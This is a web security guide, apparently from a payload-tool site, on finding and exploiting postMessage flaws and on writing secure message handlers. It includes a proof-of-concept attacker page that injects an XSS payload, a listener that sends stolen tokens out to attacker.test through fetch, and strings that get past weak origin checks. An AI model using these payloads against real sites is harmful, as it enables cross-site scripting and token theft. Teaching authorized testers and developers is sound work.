postMessage Security: Exploiting Missing Origin Validation and XSS Sinks
The HTML5 postMessage API exists to solve a real problem: letting documents from different origins talk to each other without dropping the Same-Origin Policy entirely. A payment iframe needs to tell its parent the transaction succeeded; an SSO widget needs to hand a token back to the host page. The API is deliberately a controlled hole in cross-origin isolation — and like every controlled hole, it is only as safe as the validation wrapped around it. In practice that validation is missing far more often than it should be, which makes postMessage one of the most reliably exploitable client-side bug classes in modern single-page apps.
Two mistakes account for nearly every finding. The receiver fails to check event.origin, so any window — including one the attacker controls — can deliver a message that gets trusted. The sender uses a wildcard "*" target origin, leaking the message (often a token or PII) to whatever origin happens to occupy the destination frame. Combine an unvalidated receiver with a dangerous DOM sink and you have client-side XSS that never touches the server, never appears in logs, and survives most WAFs. This guide covers how to find and exploit both ends, with secure handler patterns at the end. All of it assumes you are testing an application you are authorized to assess.
How the API works and where trust breaks
A page sends a message with targetWindow.postMessage(data, targetOrigin) and receives them through a listener:
// Sender — running on https://app.example.com
const frame = document.getElementById('widget').contentWindow;
frame.postMessage({ type: 'init', token: sessionToken }, '*'); // BUG: wildcard
// Receiver — running inside the widget iframe
window.addEventListener('message', function (event) {
// BUG: no event.origin check
handleConfig(event.data);
});
The MessageEvent object handed to the listener carries three security-relevant fields: event.data (the payload, structured-cloned, attacker-controlled), event.origin (the scheme + host + port of the sender, set by the browser and not spoofable), and event.source (a reference to the sending window). The browser guarantees the integrity of event.origin — that is the entire basis for secure use. If the receiver ignores it, the browser's guarantee buys you nothing.
Receiver-side: missing origin validation
The receiver bug is the high-impact one because it usually leads to code execution. An attacker hosts a page that opens or frames the target, then fires a crafted message at it. Consider this handler, which is representative of what you will find in real bundles:
window.addEventListener('message', function (e) {
var msg = JSON.parse(e.data);
if (msg.action === 'render') {
document.getElementById('panel').innerHTML = msg.html; // sink
}
});
There is no origin check, and msg.html flows straight into innerHTML. The exploit page is short:
<!-- hosted on https://attacker.test -->
<iframe id="t" src="https://target.example/dashboard"></iframe>
<script>
const win = document.getElementById('t').contentWindow;
// wait for the target frame to attach its listener
setTimeout(() => {
win.postMessage(JSON.stringify({
action: 'render',
html: '<img src=x onerror=alert(document.domain)>'
}), '*');
}, 2000);
</script>
If the target sets X-Frame-Options or a framing CSP, switch from an iframe to window.open() — a popup is a valid targetWindow and is not subject to framing controls. You lose silent delivery (the victim sees a tab open) but keep the message channel. For listeners that only act once the target frame finishes initializing, drive the handshake from event.source by replying to the target's own first message, which guarantees the listener is live.
Sender-side: leaking data with wildcard targets
The sender bug is quieter but routinely leaks secrets. When a page calls postMessage(data, '*'), the browser delivers data to whatever document currently occupies the target window — regardless of its origin. If the attacker can influence what loads in that frame or popup (via an open redirect, a navigable child frame, or a name-targeted window), they receive the payload.
// Vulnerable parent leaks an auth token to any framed origin:
authIframe.contentWindow.postMessage({ jwt: userJwt }, '*');
// Attacker causes the iframe to navigate to their origin
// (e.g. via an open redirect the iframe follows), then:
window.addEventListener('message', e => {
fetch('https://attacker.test/collect?d=' + encodeURIComponent(JSON.stringify(e.data)));
});
The fix from the sender side is to never use "*" when the payload is sensitive — pin the exact expected origin, e.g. postMessage(data, 'https://widget.example.com'). The browser then refuses to deliver if the destination origin does not match, closing the leak even if the frame is redirected. When auditing, grep every postMessage( call and flag each one whose second argument is '*' or a variable you cannot prove is constant.
Chaining to XSS, token theft, and CSRF
The payload event.data reaches determines the ceiling on impact. Map each handler to the sink it feeds:
- HTML sinks —
innerHTML,outerHTML,document.write(),$(...).html(),insertAdjacentHTML. Direct path to DOM XSS. Use markup that fires without inline script (e.g.<img onerror>,<svg onload>) to survive a script-only CSP. - Code sinks —
eval(),Function(),setTimeout(str),location = datawith ajavascript:URI. Immediate execution, highest severity. - Navigation sinks —
location.href,location.assign(), anchorhrefassignment. Open redirect orjavascript:XSS depending on URI filtering. - State sinks — handlers that write
event.dataintolocalStorage, app config, or trigger privileged actions ("update email", "approve transfer"). This is effectively cross-origin CSRF over the message channel: the attacker drives sensitive app actions by posting messages, with no token to forge.
A particularly underrated chain: a handler that stores attacker data in localStorage, which a different code path later reads into innerHTML. That converts an ephemeral popup message into stored DOM XSS that persists across the victim's sessions. For the broader catalogue of sources and sinks this feeds into, our DOM-based XSS guide walks the full taint-flow methodology.
Finding postMessage bugs at scale
These flaws live entirely in client JavaScript, so dynamic discovery beats source review. A workflow that finds them quickly:
- Search every loaded script for listeners:
grep -rE "addEventListener\\(['\"]message"across the saved JS bundles. Each hit is a receiver to audit. - For each listener, determine whether
event.originis checked before any use ofevent.data. A check that runs after the data already hit a sink is worthless. - Trace
event.datato its sink. If you cannot read minified code, hook the listener at runtime and log every message the app legitimately sends so you can replay and mutate it. - Instrument the page from DevTools to capture and tamper with live traffic. A monkey-patch surfaces both the sender's target origin and the receiver's handling:
// Paste in the console to log all outbound messages + their target origin
const _pm = window.postMessage;
window.postMessage = function (msg, origin, ...rest) {
console.log('[postMessage out] origin=' + origin, msg);
return _pm.call(this, msg, origin, ...rest);
};
// Log every inbound message and whether origin gets validated
window.addEventListener('message', e =>
console.log('[message in] origin=' + e.origin, e.data), true);
Burp Suite's DOM Invader has a dedicated postMessage interception view that auto-detects listeners and lets you resend tampered messages with one click — the fastest way to confirm a source-to-sink flow. Once you have identified a usable sink, the XSS payload generator produces context-appropriate markup for whichever sink the handler feeds.
Common weak validation patterns to watch for
Developers who do add an origin check often add a broken one. These are the bypasses to test the moment you see a check:
// 1) indexOf / includes — substring match, trivially bypassed
if (e.origin.indexOf('example.com') !== -1) { /* ... */ }
// bypass origin: https://example.com.attacker.test
// bypass origin: https://attacker-example.com
// 2) startsWith without a separator
if (e.origin.startsWith('https://example')) { /* ... */ }
// bypass origin: https://example.attacker.test
// 3) regex missing anchors / unescaped dot
if (/example\\.com/.test(e.origin)) { /* ... */ }
// the dot matches, but no ^...$ anchors -> evilexample.com.attacker.test
// 4) checks event.source instead of event.origin
if (e.source === expectedFrame) { /* ... */ }
// weaker than it looks if the attacker controls a frame reference
The reliable pattern, by contrast, is exact string equality against an allowlist: if (event.origin !== 'https://widget.example.com') return;. Anything fuzzier than equality deserves a bypass attempt. Test each candidate by registering a domain (or subdomain) that satisfies the flawed logic and replaying the message from it.
Defenses and secure handler design
Fixing postMessage is cheap once the failure modes are clear. Apply all of the following, not just one:
- Validate
event.originwith exact equality against an allowlist before touchingevent.data. Never substring, never regex without^/$anchors and an escaped dot. - Validate the message shape. Reject anything that is not the exact expected structure (known
type, known fields, expected primitive types). Treatevent.dataas fully hostile input. - Pin the target origin when sending. Replace every
postMessage(data, '*')with the literal destination origin so a redirected frame cannot intercept the payload. - Keep data away from dangerous sinks. Use
textContentinstead ofinnerHTML; if HTML is unavoidable, run it through a vetted sanitizer (DOMPurify) configured for the context. - Defense in depth with CSP. A strict Content-Security-Policy limits what an XSS payload can do even if a handler is exploited. Audit your policy with the CSP Evaluator to confirm it actually blocks inline and remote script.
A handler that does all of this is short and unmistakably safe:
const ALLOWED = 'https://widget.example.com';
window.addEventListener('message', function (event) {
if (event.origin !== ALLOWED) return; // exact-match origin gate
const d = event.data;
if (typeof d !== 'object' || d === null) return; // shape check
if (d.type !== 'config' || typeof d.label !== 'string') return;
document.getElementById('panel').textContent = d.label; // safe sink
});
The pattern is always the same: gate on origin first, validate the payload's structure second, and feed only validated, typed values into a non-executing sink. When you report a finding, document the full flow — name the listener, prove the origin check is missing or bypassable, trace event.data to the exact sink, and include a self-contained PoC page. A working alert(document.domain) from an attacker-hosted origin is the minimum bar; escalating to token exfiltration or a privileged state change demonstrates the real business impact and moves triage faster.
Put this into practice
Generate and test these payloads interactively — free, in your browser.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides